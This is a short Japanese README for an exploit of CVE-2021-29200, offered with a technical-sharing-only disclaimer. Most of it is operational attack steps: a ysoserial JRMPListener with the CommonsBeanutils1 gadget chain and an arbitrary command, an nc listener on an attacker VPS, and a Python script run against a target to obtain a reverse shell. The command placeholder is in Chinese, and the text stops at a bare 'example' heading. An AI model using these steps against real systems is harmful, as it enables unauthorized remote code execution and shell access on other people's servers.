CVE-2021-29200

CVE-2021-29200 EXP はシェルをリバース接続で取得可能

この記事およびツールは技術共有のみを目的としており、不正な目的での使用は固く禁止します。違反した場合の結果はすべて自己責任となります。

コマンド実行EXPのトリガー

1. VPS上で RMI リスナーを 9999 ポートで起動

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '[要执行的命令]'

2. VPS上で nc リスナーを 8443 ポートで起動

nc -lvp 8443

3. Pythonスクリプトを実行

python3 cve-2021-29200_exp.py <target> <vps_ip> <vps_port>

例